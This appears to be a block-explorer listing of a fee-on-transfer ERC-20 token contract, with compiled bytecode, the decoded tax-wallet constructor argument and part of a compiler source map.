3c9037b832b760611b60448201526064016103dd565b600b805463ff0000ff60a01b1916630100000160a01b17908190556040805160ff600160a01b8404811615158252600160b81b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91015b60405180910390a1565b60006104b2338484610b83565b5060015b92915050565b6104c86009600a61181c565b6104d590620f424061182b565b81565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103dd906116ed565b600b805460ff60a81b1916905561051b6009600a61181c565b610529906305f5e10061182b565b6008556105386009600a61181c565b610546906305f5e10061182b565b60099081557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f99061057890600a61181c565b610586906305f5e10061182b565b60405190815260200161049b565b60006105a26009600a61181c565b6105b0906305f5e10061182b565b905090565b60006105c2848484610c50565b610614843361060f85604051806060016040528060288152602001611998602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611216565b610b83565b5060019392505050565b6000546001600160a01b031633146106485760405162461bcd60e51b81526004016103dd906116ed565b601e821115801561065a5750601e8111155b801561066f5750600b54600160a01b900460ff165b6106ab5760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b60448201526064016103dd565b6005829055600681905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016103dd906116ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016103dd906116ed565b600b54600160a01b900460ff16156107e05760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016103dd565b600061082b610815606461080f600f6107fb6009600a61181c565b610809906305f5e10061182b565b90611250565b906112d9565b306000908152600160205260409020549061131b565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556004549293506001600160a01b039290921691610887913091906108799060099061181c565b61060f906305f5e10061182b565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe9190611842565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610960573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109849190611842565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190611842565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a80549192610a2f9230929116906108799060099061181c565b600a546040805163f305d71960e01b81523060048201526024810186905260006044820181905260648201523360848201524260a482015290516001600160a01b039092169163f305d71991479160c4808301926060929190829003018185885af1158015610aa2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac7919061185f565b505050610add81836009600a610879919061181c565b600b54600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b57919061188d565b50505050565b60006104b2338484610c50565b610b766009600a61181c565b6104d590620186a061182b565b6001600160a01b03831615801590610ba357506001600160a01b03821615155b610bef5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016103dd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c7057506001600160a01b03821615155b610cbc5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103dd565b60008111610d1e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103dd565b600080546001600160a01b03858116911614801590610d4b57506000546001600160a01b03848116911614155b156110d357600b54600160a01b900460ff16610dec576001600160a01b03841660009081526003602052604090205460ff1680610da057506001600160a01b03831660009081526003602052604090205460ff165b610dec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206973206e6f7420796574206f70656e00000000000000000060448201526064016103dd565b600b546001600160a01b038581169116148015610e175750600a546001600160a01b03848116911614155b8015610e3c57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3657600b54600160a81b900460ff1615610f2057600854821115610ea55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103dd565b60095482610ec8856001600160a01b031660009081526001602052604090205490565b610ed291906118af565b1115610f205760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103dd565b60078054906000610f30836118c2565b91905055505b600b546001600160a01b038481169116148015610f5c57506001600160a01b0384163014155b15610f8c57610f85606461080f600b60075411610f7a57600f610f7e565b6006545b8590611250565b9050610fdd565b600b546001600160a01b038581169116148015610fb257506001600160a01b0383163014155b15610fdd57610fda606461080f600b60075411610fd057600f610f7e565b6005548590611250565b90505b30600090815260016020526040902054600b54600160b01b900460ff161580156110145750600b546001600160a01b038581169116145b80156110295750600b54600160b81b900460ff165b801561104c575061103c6009600a61181c565b61104990620186a061182b565b81115b801561105a5750600b600754115b156110d157600061106d6009600a61181c565b61107a90620f424061182b565b8211611086578161109f565b6110926009600a61181c565b61109f90620f424061182b565b905060008185116110b057846110b2565b815b90506110bd8161135d565b4780156110cd576110cd476114d7565b5050505b505b801561114d57306000908152600160205260409020546110f39082611515565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111449085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611170908361131b565b6001600160a01b0385166000908152600160205260409020556111b5611196838361131b565b6001600160a01b03851660009081526001602052604090205490611515565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111ff858561131b565b60405190815260200160405180910390a350505050565b6000818484111561123a5760405162461bcd60e51b81526004016103dd91906115a2565b50600061124784866118db565b95945050505050565b600082600003611262575060006104b6565b600061126e838561182b565b90508261127b85836118ee565b146112d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103dd565b9392505050565b60006112d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611574565b60006112d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b600b805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a5576113a5611910565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114229190611842565b8160018151811061143557611435611910565b6001600160a01b039283166020918202929092010152600a5461145b9130911684610b83565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611494908590600090869030904290600401611926565b600060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b5050600b805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611511573d6000803e3d6000fd5b5050565b60008061152283856118af565b9050838110156112d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103dd565b600081836115955760405162461bcd60e51b81526004016103dd91906115a2565b50600061124784866118ee565b600060208083528351808285015260005b818110156115cf578581018301518582016040015282016115b3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160557600080fd5b50565b6000806040838503121561161b57600080fd5b8235611626816115f0565b946020939093013593505050565b60008060006060848603121561164957600080fd5b8335611654816115f0565b92506020840135611664816115f0565b929592945050506040919091013590565b6000806040838503121561168857600080fd5b50508035926020909101359150565b6000602082840312156116a957600080fd5b81356112d2816115f0565b600080604083850312156116c757600080fd5b82356116d2816115f0565b915060208301356116e2816115f0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177357816000190482111561175957611759611722565b8085161561176657918102915b93841c939080029061173d565b509250929050565b60008261178a575060016104b6565b81611797575060006104b6565b81600181146117ad57600281146117b7576117d3565b60019150506104b6565b60ff8411156117c8576117c8611722565b50506001821b6104b6565b5060208310610133831016604e8410600b84101617156117f6575081810a6104b6565b6118008383611738565b806000190482111561181457611814611722565b029392505050565b60006112d260ff84168361177b565b80820281158282048414176104b6576104b6611722565b60006020828403121561185457600080fd5b81516112d2816115f0565b60008060006060848603121561187457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189f57600080fd5b815180151581146112d257600080fd5b808201808211156104b6576104b6611722565b6000600182016118d4576118d4611722565b5060010190565b818103818111156104b6576104b6611722565b60008261190b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119765784516001600160a01b031683529383019391830191600101611951565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220412a54e2815e7ce453c2d72037f82b649e2508d0f64dda40ba5238c68e3882be64736f6c63430008130033

00000000000000000000000074da670b9737f2677e037aa2b30fc4ddfd0c3f04

-----Decoded View---------------
Arg [0] : taxWallet (address): 0x74dA670B9737F2677e037aa2b30fC4dDFd0C3F04

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000074da670b9737f2677e037aa2b30fc4ddfd0c3f04

3725:8635:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11622:206;;;;;;;;;;;;;:::i;:::-;;5834:83;;;;;;;;;;-1:-1:-1;5904:5:0;;;;;;;;;;;;-1:-1:-1;;;5904:5:0;;;;5834:83;;;;;;;:::i;:::-;;;;;;;;6667:161;;;;;;;;;;-1:-1:-1;6667:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6667:161:0;1023:187:1;4762:61:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4762:61:0;1215:177:1;11836:183:0;;;;;;;;;;;;;:::i;6111:95::-;;;;;;;;;;;;;:::i;6836:313::-;;;;;;;;;;-1:-1:-1;6836:313:0;;;;;:::i;:::-;;:::i;6020:83::-;;;;;;;;;;-1:-1:-1;6020:83:0;;4502:1;2000:36:1;;1988:2;1973:18;6020:83:0;1858:184:1;12031:289:0;;;;;;;;;;-1:-1:-1;12031:289:0;;;;;:::i;:::-;;:::i;6214:119::-;;;;;;;;;;-1:-1:-1;6214:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6307:18:0;6280:7;6307:18;;;:9;:18;;;;;;;6214:119;2808:148;;;;;;;;;;;;;:::i;4830:53::-;;;;;;;;;;;;;;;;10580:1034;;;;;;;;;;;;;:::i;2594:79::-;;;;;;;;;;-1:-1:-1;2632:7:0;2659:6;2594:79;;-1:-1:-1;;;;;2659:6:0;;;2698:51:1;;2686:2;2671:18;2594:79:0;2552:203:1;4890:55:0;;;;;;;;;;;;;;;;5925:87;;;;;;;;;;-1:-1:-1;5997:7:0;;;;;;;;;;;;-1:-1:-1;;;5997:7:0;;;;5925:87;;6341:167;;;;;;;;;;-1:-1:-1;6341:167:0;;;;;:::i;:::-;;:::i;4689:66::-;;;;;;;;;;;;;:::i;6516:143::-;;;;;;;;;;-1:-1:-1;6516:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6624:18:0;;;6597:7;6624:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6516:143;11622:206;2721:6;;-1:-1:-1;;;;;2721:6:0;431:10;2721:22;2713:67;;;;-1:-1:-1;;;2713:67:0;;;;;;;:::i;:::-;;;;;;;;;11679:11:::1;::::0;-1:-1:-1;;;11679:11:0;::::1;;;11678:12;11670:44;;;::::0;-1:-1:-1;;;11670:44:0;;3716:2:1;11670:44:0::1;::::0;::::1;3698:21:1::0;3755:2;3735:18;;;3728:30;-1:-1:-1;;;3774:18:1;;;3767:50;3834:18;;11670:44:0::1;3514:344:1::0;11670:44:0::1;11725:11;:18:::0;;-1:-1:-1;;;;11754:18:0;-1:-1:-1;;;11754:18:0;;;;;11788:32:::1;::::0;;11725:18:::1;-1:-1:-1::0;;;11796:11:0;::::1;::::0;::::1;4050:14:1::0;4043:22;4025:41;;-1:-1:-1;;;11808:11:0;;::::1;::::0;;::::1;4109:14:1::0;4102:22;4097:2;4082:18;;4075:50;11788:32:0::1;::::0;3998:18:1;11788:32:0::1;;;;;;;;11622:206::o:0;6667:161::-;6742:4;6759:39;431:10;6782:7;6791:6;6759:8;:39::i;:::-;-1:-1:-1;6816:4:0;6667:161;;;;;:::o;4762:61::-;4810:13;4502:1;4810:2;:13;:::i;:::-;4800:23;;:7;:23;:::i;:::-;4762:61;:::o;11836:183::-;2721:6;;-1:-1:-1;;;;;2721:6:0;431:10;2721:22;2713:67;;;;-1:-1:-1;;;2713:67:0;;;;;;;:::i;:::-;11891:11:::1;:19:::0;;-1:-1:-1;;;;11891:19:0::1;::::0;;4557:13:::1;4502:1;4557:2;:13;:::i;:::-;4545:25;::::0;:9:::1;:25;:::i;:::-;11921:12;:21:::0;4557:13:::1;4502:1;4557:2;:13;:::i;:::-;4545:25;::::0;:9:::1;:25;:::i;:::-;11953:14;:23:::0;;;11992:19:::1;::::0;4557:13:::1;::::0;:2:::1;:13;:::i;:::-;4545:25;::::0;:9:::1;:25;:::i;:::-;11992:19;::::0;1361:25:1;;;1349:2;1334:18;11992:19:0::1;1215:177:1::0;6111:95:0;6164:7;4557:13;4502:1;4557:2;:13;:::i;:::-;4545:25;;:9;:25;:::i;:::-;6184:14;;6111:95;:::o;6836:313::-;6934:4;6951:36;6961:6;6969:9;6980:6;6951:9;:36::i;:::-;6998:121;7007:6;431:10;7029:89;7067:6;7029:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7029:19:0;;;;;;:11;:19;;;;;;;;431:10;7029:33;;;;;;;;;;:37;:89::i;:::-;6998:8;:121::i;:::-;-1:-1:-1;7137:4:0;6836:313;;;;;:::o;12031:289::-;2721:6;;-1:-1:-1;;;;;2721:6:0;431:10;2721:22;2713:67;;;;-1:-1:-1;;;2713:67:0;;;;;;;:::i;:::-;12138:2:::1;12125:9;:15;;:35;;;;;12158:2;12144:10;:16;;12125:35;:50;;;;-1:-1:-1::0;12164:11:0::1;::::0;-1:-1:-1;;;12164:11:0;::::1;;;12125:50;12117:76;;;::::0;-1:-1:-1;;;12117:76:0;;6026:2:1;12117:76:0::1;::::0;::::1;6008:21:1::0;6065:2;6045:18;;;6038:30;-1:-1:-1;;;6084:18:1;;;6077:43;6137:18;;12117:76:0::1;5824:337:1::0;12117:76:0::1;12204:12;:24:::0;;;12239:13:::1;:26:::0;;;12281:31:::1;::::0;;6340:25:1;;;6396:2;6381:18;;6374:34;;;12281:31:0::1;::::0;6313:18:1;12281:31:0::1;;;;;;;12031:289:::0;;:::o;2808:148::-;2721:6;;-1:-1:-1;;;;;2721:6:0;431:10;2721:22;2713:67;;;;-1:-1:-1;;;2713:67:0;;;;;;;:::i;:::-;2915:1:::1;2899:6:::0;;2878:40:::1;::::0;-1:-1:-1;;;;;2899:6:0;;::::1;::::0;2878:40:::1;::::0;2915:1;;2878:40:::1;2946:1;2929:19:::0;;-1:-1:-1;;;;;;2929:19:0::1;::::0;;2808:148::o;10580:1034::-;2721:6;;-1:-1:-1;;;;;2721:6:0;431:10;2721:22;2713:67;;;;-1:-1:-1;;;2713:67:0;;;;;;;:::i;:::-;10642:11:::1;::::0;-1:-1:-1;;;10642:11:0;::::1;;;10641:12;10633:43;;;::::0;-1:-1:-1;;;10633:43:0;;6621:2:1;10633:43:0::1;::::0;::::1;6603:21:1::0;6660:2;6640:18;;;6633:30;-1:-1:-1;;;6679:18:1;;;6672:49;6738:18;;10633:43:0::1;6419:343:1::0;10633:43:0::1;10687:19;10709:66;10738:36;10770:3;10738:27;4143:2;4557:13;4502:1;4557:2;:13;:::i;:::-;4545:25;::::0;:9:::1;:25;:::i;:::-;10738:11:::0;::::1;:27::i;:::-;:31:::0;::::1;:36::i;:::-;10727:4;6280:7:::0;6307:18;;;:9;:18;;;;;;10709:28;::::1;:66::i;:::-;10786:15;:80:::0;;-1:-1:-1;;;;;;10786:80:0::1;10823:42;10786:80:::0;;::::1;::::0;;10899:10:::1;::::0;10687:88;;-1:-1:-1;;;;;;10899:10:0;;;::::1;::::0;10920:58:::1;::::0;10937:4:::1;::::0;10823:42;4557:13:::1;::::0;4502:1:::1;::::0;4557:13:::1;:::i;:::-;4545:25;::::0;:9:::1;:25;:::i;10920:58::-;11023:15;;;;;;;;;-1:-1:-1::0;;;;;11023:15:0::1;-1:-1:-1::0;;;;;11023:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11005:69:0::1;;11083:4;11090:15;;;;;;;;;-1:-1:-1::0;;;;;11090:15:0::1;-1:-1:-1::0;;;;;11090:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11005:118;::::0;-1:-1:-1;;;;;;11005:118:0::1;::::0;;;;;;-1:-1:-1;;;;;7253:15:1;;;11005:118:0::1;::::0;::::1;7235:34:1::0;7305:15;;7285:18;;;7278:43;7170:18;;11005:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10989:13;:134:::0;;-1:-1:-1;;;;;;10989:134:0::1;-1:-1:-1::0;;;;;10989:134:0;;::::1;::::0;;::::1;::::0;;;11214:15:::1;::::0;;10989:134;;11182:58:::1;::::0;11199:4:::1;::::0;11214:15;::::1;::::0;4557:13:::1;::::0;4502:1:::1;::::0;4557:13:::1;:::i;11182:58::-;11251:15;::::0;:216:::1;::::0;;-1:-1:-1;;;11251:216:0;;11336:4:::1;11251:216;::::0;::::1;7673:34:1::0;7723:18;;;7716:34;;;11251:15:0::1;7766:18:1::0;;;7759:34;;;7809:18;;;7802:34;431:10:0;7852:19:1;;;7845:44;11441:15:0::1;7905:19:1::0;;;7898:35;11251:216:0;;-1:-1:-1;;;;;11251:15:0;;::::1;::::0;:31:::1;::::0;11290:21:::1;::::0;7607:19:1;;;;;11251:216:0::1;::::0;;;;;;;;11290:21;11251:15;:216:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11478:45;11487:13;11502:11;4502:1;4557:2;:13;;;;:::i;11478:45::-;11541:13;::::0;11572:15:::1;::::0;11534:71:::1;::::0;-1:-1:-1;;;11534:71:0;;-1:-1:-1;;;;;11572:15:0;;::::1;11534:71;::::0;::::1;8429:51:1::0;-1:-1:-1;;8496:18:1;;;8489:34;11541:13:0;::::1;::::0;11534:29:::1;::::0;8402:18:1;;11534:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10622:992;;;10580:1034::o:0;6341:167::-;6419:4;6436:42;431:10;6460:9;6471:6;6436:9;:42::i;4689:66::-;4742:13;4502:1;4742:2;:13;:::i;:::-;4733:22;;:6;:22;:::i;7157:276::-;-1:-1:-1;;;;;7250:19:0;;;;;;:44;;-1:-1:-1;;;;;;7273:21:0;;;;7250:44;7242:88;;;;-1:-1:-1;;;7242:88:0;;9018:2:1;7242:88:0;;;9000:21:1;9057:2;9037:18;;;9030:30;9096:33;9076:18;;;9069:61;9147:18;;7242:88:0;8816:355:1;7242:88:0;-1:-1:-1;;;;;7341:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7393:32;;1361:25:1;;;7393:32:0;;1334:18:1;7393:32:0;;;;;;;7157:276;;;:::o;7441:2540::-;-1:-1:-1;;;;;7529:18:0;;;;;;:38;;-1:-1:-1;;;;;;7551:16:0;;;;7529:38;7521:83;;;;-1:-1:-1;;;7521:83:0;;9378:2:1;7521:83:0;;;9360:21:1;;;9397:18;;;9390:30;9456:34;9436:18;;;9429:62;9508:18;;7521:83:0;9176:356:1;7521:83:0;7632:1;7623:6;:10;7615:64;;;;-1:-1:-1;;;7615:64:0;;9739:2:1;7615:64:0;;;9721:21:1;9778:2;9758:18;;;9751:30;9817:34;9797:18;;;9790:62;-1:-1:-1;;;9868:18:1;;;9861:39;9917:19;;7615:64:0;9537:405:1;7615:64:0;7690:17;2659:6;;-1:-1:-1;;;;;7726:15:0;;;2659:6;;7726:15;;;;:32;;-1:-1:-1;2632:7:0;2659:6;-1:-1:-1;;;;;7745:13:0;;;2659:6;;7745:13;;7726:32;7722:1903;;;7782:11;;-1:-1:-1;;;7782:11:0;;;;7777:197;;-1:-1:-1;;;;;7843:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7871:22:0;;;;;;:18;:22;;;;;;;;7843:50;7814:144;;;;-1:-1:-1;;;7814:144:0;;10149:2:1;7814:144:0;;;10131:21:1;10188:2;10168:18;;;10161:30;10227:25;10207:18;;;10200:53;10270:18;;7814:144:0;9947:347:1;7814:144:0;8003:13;;-1:-1:-1;;;;;7995:21:0;;;8003:13;;7995:21;:55;;;;-1:-1:-1;8034:15:0;;-1:-1:-1;;;;;8020:30:0;;;8034:15;;8020:30;;7995:55;:83;;;;-1:-1:-1;;;;;;8056:22:0;;;;;;:18;:22;;;;;;;;8054:24;7995:83;7991:377;;;8104:11;;-1:-1:-1;;;8104:11:0;;;;8100:222;;;8158:12;;8148:6;:22;;8140:60;;;;-1:-1:-1;;;8140:60:0;;10501:2:1;8140:60:0;;;10483:21:1;10540:2;10520:18;;;10513:30;10579:27;10559:18;;;10552:55;10624:18;;8140:60:0;10299:349:1;8140:60:0;8257:14;;8247:6;8231:13;8241:2;-1:-1:-1;;;;;6307:18:0;6280:7;6307:18;;;:9;:18;;;;;;;6214:119;8231:13;:22;;;;:::i;:::-;:40;;8223:79;;;;-1:-1:-1;;;8223:79:0;;10985:2:1;8223:79:0;;;10967:21:1;11024:2;11004:18;;;10997:30;11063:28;11043:18;;;11036:56;11109:18;;8223:79:0;10783:350:1;8223:79:0;8341:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7991:377;8407:13;;-1:-1:-1;;;;;8401:19:0;;;8407:13;;8401:19;:43;;;;-1:-1:-1;;;;;;8424:20:0;;8439:4;8424:20;;8401:43;8396:471;;;8477:138;8593:3;8477:111;4294:2;8508:9;;:26;8507:80;;4193:2;8507:80;;;8558:13;;8507:80;8477:6;;:10;:111::i;:138::-;8465:150;;8396:471;;;8649:13;;-1:-1:-1;;;;;8641:21:0;;;8649:13;;8641:21;:43;;;;-1:-1:-1;;;;;;8666:18:0;;8679:4;8666:18;;8641:43;8637:230;;;8717:134;8829:3;8717:107;4243:2;8747:9;;:25;8746:77;;4143:2;8746:77;;;8796:12;;8717:6;;:10;:107::i;:134::-;8705:146;;8637:230;8932:4;8883:28;6307:18;;;:9;:18;;;;;;8976:6;;-1:-1:-1;;;8976:6:0;;;;8975:7;:48;;;;-1:-1:-1;9010:13:0;;-1:-1:-1;;;;;9004:19:0;;;9010:13;;9004:19;8975:48;:81;;;;-1:-1:-1;9045:11:0;;-1:-1:-1;;;9045:11:0;;;;8975:81;:141;;;;-1:-1:-1;4742:13:0;4502:1;4742:2;:13;:::i;:::-;4733:22;;:6;:22;:::i;:::-;9078:20;:38;8975:141;:191;;;;;4347:2;9138:9;;:28;8975:191;8953:661;;;9200:14;4810:13;4502:1;4810:2;:13;:::i;:::-;4800:23;;:7;:23;:::i;:::-;9218:20;:34;9217:69;;9266:20;9217:69;;;4810:13;4502:1;4810:2;:13;:::i;:::-;4800:23;;:7;:23;:::i;:::-;9200:86;;9305:20;9336:6;9329;:13;9328:29;;9351:6;9328:29;;;9344:6;9328:29;9305:52;;9376:30;9393:12;9376:16;:30::i;:::-;9454:21;9497:22;;9494:105;;9544:35;9557:21;9544:12;:35::i;:::-;9181:433;;;8953:661;7760:1865;7722:1903;9640:11;;9637:161;;9708:4;9690:24;;;;:9;:24;;;;;;:39;;9719:9;9690:28;:39::i;:::-;9683:4;9665:24;;;;:9;:24;;;;;;;:64;;;;9747:39;;-1:-1:-1;;;;;9747:39:0;;;;;;;9776:9;1361:25:1;;1349:2;1334:18;;1215:177;9747:39:0;;;;;;;;9637:161;-1:-1:-1;;;;;9824:15:0;;;;;;:9;:15;;;;;;:27;;9844:6;9824:19;:27::i;:::-;-1:-1:-1;;;;;9808:15:0;;;;;;:9;:15;;;;;:43;9876:40;9894:21;:6;9905:9;9894:10;:21::i;:::-;-1:-1:-1;;;;;9876:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9862:13:0;;;;;;;:9;:13;;;;;:54;;;;9932:41;;;9951:21;:6;9962:9;9951:10;:21::i;:::-;9932:41;;1361:25:1;;;1349:2;1334:18;9932:41:0;;;;;;;7510:2471;7441:2540;;;:::o;1488:190::-;1574:7;1610:12;1602:6;;;;1594:29;;;;-1:-1:-1;;;1594:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1634:9:0;1646:5;1650:1;1646;:5;:::i;:::-;1634:17;1488:190;-1:-1:-1;;;;;1488:190:0:o;1686:246::-;1744:7;1768:1;1773;1768:6;1764:47;;-1:-1:-1;1798:1:0;1791:8;;1764:47;1821:9;1833:5;1837:1;1833;:5;:::i;:::-;1821:17;-1:-1:-1;1866:1:0;1857:5;1861:1;1821:17;1857:5;:::i;:::-;:10;1849:56;;;;-1:-1:-1;;;1849:56:0;;11835:2:1;1849:56:0;;;11817:21:1;11874:2;11854:18;;;11847:30;11913:34;11893:18;;;11886:62;-1:-1:-1;;;11964:18:1;;;11957:31;12005:19;;1849:56:0;11633:397:1;1849:56:0;1923:1;1686:246;-1:-1:-1;;;1686:246:0:o;1940:132::-;1998:7;2025:39;2029:1;2032;2025:39;;;;;;;;;;;;;;;;;:3;:39::i;1344:136::-;1402:7;1429:43;1433:1;1436;1429:43;;;;;;;;;;;;;;;;;:3;:43::i;10089:483::-;5371:6;:13;;-1:-1:-1;;;;5371:13:0;-1:-1:-1;;;5371:13:0;;;10191:16:::1;::::0;;10205:1:::1;10191:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10191:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10191:16:0::1;10167:40;;10236:4;10218;10223:1;10218:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10218:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10262:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10262:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10218:7;;10262:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10252:4;10257:1;10252:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10252:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10327:15:::1;::::0;10295:62:::1;::::0;10312:4:::1;::::0;10327:15:::1;10345:11:::0;10295:8:::1;:62::i;:::-;10368:15;::::0;:196:::1;::::0;-1:-1:-1;;;10368:196:0;;-1:-1:-1;;;;;10368:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10449:11;;10368:15:::1;::::0;10491:4;;10518::::1;::::0;10538:15:::1;::::0;10368:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5407:6:0;:14;;-1:-1:-1;;;;5407:14:0;;;-1:-1:-1;;;;10089:483:0:o;9989:92::-;10046:10;;:27;;-1:-1:-1;;;;;10046:10:0;;;;:27;;;;;10066:6;;10046:10;:27;:10;:27;10066:6;10046:10;:27;;;;;;;;;;;;;;;;;;;;;9989:92;:::o;1157:179::-;1215:7;;1247:5;1251:1;1247;:5;:::i;:::-;1235:17;;1276:1;1271;:6;;1263:46;;;;-1:-1:-1;;;1263:46:0;;13486:2:1;1263:46:0;;;13468:21:1;13525:2;13505:18;;;13498:30;13564:29;13544:18;;;13537:57;13611:18;;1263:46:0;13284:351:1;2080:189:0;2166:7;2201:12;2194:5;2186:28;;;;-1:-1:-1;;;2186:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2225:9:0;2237:5;2241:1;2237;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458: